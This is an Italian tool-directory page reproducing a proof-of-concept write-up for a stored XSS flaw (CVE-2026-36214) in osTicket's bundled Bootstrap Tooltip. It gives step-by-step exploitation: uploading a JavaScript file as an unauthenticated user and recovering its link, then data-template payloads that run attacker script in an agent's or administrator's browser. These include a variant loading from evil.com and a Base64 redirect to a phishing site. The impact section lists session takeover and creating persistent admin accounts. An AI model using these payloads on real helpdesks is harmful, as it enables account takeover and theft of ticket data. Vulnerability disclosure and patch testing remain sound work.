Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2026-36214 — Cross-Site Scripting (XSS) Memorizzato in osTicket tramite Componente Tooltip Bootstrap Vulnerabile | Kitploit
Strumenti/GitHubGitHub/weswrench/cve-2026-36214
Strumenti di PhishingAnalisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebSicurezza WebPenetration Testing
GitHubweswrench/cve-2026-36214

CVE-2026-36214

Cross-Site Scripting (XSS) Memorizzato in osTicket tramite Componente Tooltip Bootstrap Vulnerabile

Vedi Repository
11 mese faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2026-36214 - Cross-Site Scripting (XSS) memorizzato in osTicket tramite componente Bootstrap Tooltip vulnerabile

Descrizione

Enhancesoft osTicket versioni dalla 1.10 fino alla 1.17.7 e dalla 1.18.0 fino alla 1.18.3 includono il componente Bootstrap Tooltip 3.3.4 noto per essere vulnerabile (CVE-2019-8331), che introduce una vulnerabilità di Cross-Site Scripting (XSS) memorizzato.

Nella configurazione predefinita di osTicket, i mittenti di ticket ("utenti") possono inviare ticket senza autenticazione preventiva e la registrazione autonoma degli utenti è aperta di default. Un utente remoto può creare un messaggio di ticket malevolo che, nonostante passi attraverso il modulo di sanificazione HTML htmlLawed, provoca l'esecuzione arbitraria di JavaScript nel browser di qualsiasi Agente o Amministratore che lo visualizza. Il problema è ulteriormente aggravato dal fatto che i file JavaScript caricati dall'utente vengono serviti con un Content-Type di tipo eseguibile JavaScript (text/javascript), consentendo loro di essere interpretati come contenuto attivo dai browser. Mentre i payload inline sono limitati dal modo in cui Bootstrap Tooltip 3.3.4 analizza il valore data-template in un oggetto jQuery e lo inserisce nel DOM tramite appendTo() o insertAfter(), l'esecuzione di codice controllato dall'attaccante come script esterni evita queste limitazioni e consente uno sfruttamento più potente della vulnerabilità.

Versioni Affette

  • Testate e confermate vulnerabili:

    • osTicket 1.18.2
    • osTicket 1.18.3
  • Versioni interessate:

    • v1.10 - v1.17.8 (escluso)
    • v1.18 - v1.18.4 (escluso)

Questo componente è presente nel codebase di osTicket dal 13 maggio 2015, come mostrato da:

  • File: scp/js/bootstrap-tooltip.js
  • Commit: e5a28410ae7c238932eef07c2b3568da015a792c

Questo commit è associato ai tag di rilascio di osTicket risalenti alla versione 1.10, indicando che il componente Bootstrap Tooltip vulnerabile è stato incluso in un'ampia gamma di release di osTicket attraverso diverse versioni principali. Questa inclusione di lungo periodo suggerisce fortemente che molte versioni di osTicket rilasciate nel corso degli anni sono vulnerabili.


1. Panoramica

osTicket è un sistema di ticketing open source ampiamente utilizzato che consente agli utenti finali di inviare contenuti HTML ricchi e allegati file come parte della creazione e delle risposte ai ticket.

osTicket definisce tre categorie principali di utenti:

  • Amministratore
    • Accesso amministrativo completo
    • Configurazione globale, utenti, ruoli, plugin
  • Agente
    • Accesso operativo ai ticket
    • Può visualizzare, rispondere, trasferire, chiudere i ticket
  • Utente (Cliente / Utente finale)
    • Può accedere solo al portale clienti
    • Può creare e visualizzare i propri ticket

Qualsiasi contenuto HTML inviato da un Utente può successivamente essere visualizzato nel browser di un Agente o Amministratore, rendendo le vulnerabilità lato client particolarmente significative.


2. Proof of Concept

Prima, autenticati con il tuo account utente finale e vai alla pagina di creazione del ticket.
Poi crea un file JavaScript (es: test.js) contenente un payload. Ad esempio:

root@kitploit:~
alert(123);

Nota: per impostazione predefinita, osTicket consente allegati ticket senza restrizioni sul tipo di file.

Carica un file JS

Quindi invia il ticket cliccando su “Crea Ticket” senza fornire alcun “Dettaglio Problema”.

L'applicazione ci reindirizzerà al modulo di invio ticket con l'errore “Il Dettaglio Problema è un campo obbligatorio”.
Questa pagina ci consente di recuperare un link per scaricare il nostro file JavaScript (test.js) senza aver effettivamente inviato un ticket.

Ottieni il link diretto del nostro file JS caricato

Content-Type del nostro file JS caricato

Una volta ottenuto questo link, torna al modulo di invio ticket.
Clicca sull'editor HTML e incolla questo payload, sostituendo l'attributo src del tag script con il link ottenuto in precedenza.

root@kitploit:~
<input>
<div style="width:100%;height:100%;pOsition:fixed;tOp:0px;lEft:0px;z-Index:9999" data-toggle="tooltip" title="t" data-template="<script src='[LINK_QUI]'>"></div>
<input>

Di seguito un esempio di payload completo, dove il pattern [LINK_QUI] è stato sostituito con il link ottenuto in precedenza:

root@kitploit:~
<input>
<div style="width:100%;height:100%;pOsition:fixed;tOp:0px;lEft:0px;z-Index:9999" data-toggle="tooltip" title="t" data-template="<script src='http://localhost:8080/file.php?key=rjfge-qlcmbwgnsfl8hhwktyhctre-_e&expires=1768780800&signature=5044f8201f041228de077a2e025e6fc118b31223'>"></div>
<input>

Quindi invia il ticket.

Invia payload malevolo

Quando un amministratore o un agente visualizza il nostro ticket malevolo, il payload viene attivato.

Payload attivato

Risultato:
Quando un amministratore/agente apre il ticket malevolo, il payload JavaScript viene caricato ed eseguito nel contesto della sessione dell'amministratore/agente.

Ciò si traduce in un XSS memorizzato, che consente il pieno compromissione della sessione (ad es. tramite ezXSS, CSRF per eseguire azioni da amministratore/agente).


3. Impatto

Compromissione dell'Agente

Se il ticket malevolo viene visualizzato da un Agente, lo XSS memorizzato viene eseguito nel contesto della sessione autenticata dell'Agente.

Ciò consente a un attaccante di prendere effettivamente il controllo della sessione dell'Agente senza dover estrarre il cookie di sessione (ad es. anche in scenari in cui l'esfiltrazione dei cookie non è pratica e viene utilizzata una piattaforma XSS cieca come ezXSS). Una volta eseguito lo XSS, l'attaccante può eseguire qualsiasi azione che l'Agente compromesso è autorizzato a eseguire, ad esempio:

  • Consultare i ticket accessibili a quell'Agente (spesso includendo una vasta porzione dell'helpdesk)
  • Scaricare e rivedere gli allegati dei ticket
  • Rispondere ai ticket e interagire con gli utenti
  • Trasferire, chiudere o altrimenti aggiornare lo stato del ticket
  • Aggiungere note interne (se consentito)

Ciò si traduce in una compromissione totale delle capacità operative dell'Agente e della riservatezza/integrità del flusso di lavoro del ticketing.

Compromissione dell'Amministratore

Se il ticket malevolo viene visualizzato da un Amministratore, l'impatto sale a una compromissione completa dell'applicazione. L'attaccante può:

  • Prendere il controllo della sessione dell'Amministratore
  • Modificare la configurazione globale (impostazioni, permessi, ...)
  • Innescare un denial of service alterando valori di configurazione critici
  • Modificare le "pagine" / template amministrativi, consentendo defacement globale e phishing nell'interfaccia utente dell'applicazione
  • Creare nuovi account Agente e/o Amministratore per stabilire persistenza

Nota sul Caricamento File Limitato e sulla Content Security Policy

Sebbene la configurazione predefinita di osTicket consenta il caricamento di file JavaScript, osTicket può essere configurato nel Pannello Amministratore in modo che un utente finale non sia autorizzato a caricare file JavaScript.

Inoltre, il Pannello di Controllo Staff utilizzato da agenti e amministratori impone una Content Security Policy che impedisce l'esecuzione di JavaScript proveniente da domini di terze parti.
Prendiamo come esempio il seguente payload:

root@kitploit:~
<input>
<div style="width:100%;height:100%;pOsition:fixed;tOp:0px;lEft:0px;z-Index:9999" data-toggle="tooltip" title="t" data-template="<script src='http://evil.com'></object>"></div>
<input>

Lo screenshot seguente mostra che il caricamento di uno script da https://evil.com è stato bloccato dalla Content Security Policy imposta sul Pannello di Controllo Staff.

Payload bloccato da CSP

Tuttavia, la Content Security Policy implementata nell'applicazione consente JavaScript inline.

CSP sul Pannello Agente/Amministratore

Nel caso in cui il caricamento di file JavaScript sia bloccato, è comunque possibile per un attaccante eseguire azioni malevole. Consideriamo il payload seguente:

root@kitploit:~
<input>
<div style="width:100%;height:100%;pOsition:fixed;tOp:0px;lEft:0px;z-Index:9999" data-toggle="tooltip" title="t" data-template=""></div>
<input>

Il payload Base64 decodifica in:

root@kitploit:~
<script>top.location = "https://example.com";</script>

Questo payload consente a un attaccante di reindirizzare un agente o amministratore che visualizza il ticket malevolo a un sito web arbitrario, ad esempio un sito di phishing.

Ecco il risultato dopo aver visualizzato un ticket contenente il payload sopra. Reindirizzamento a sito web arbitrario

Scarica lo strumento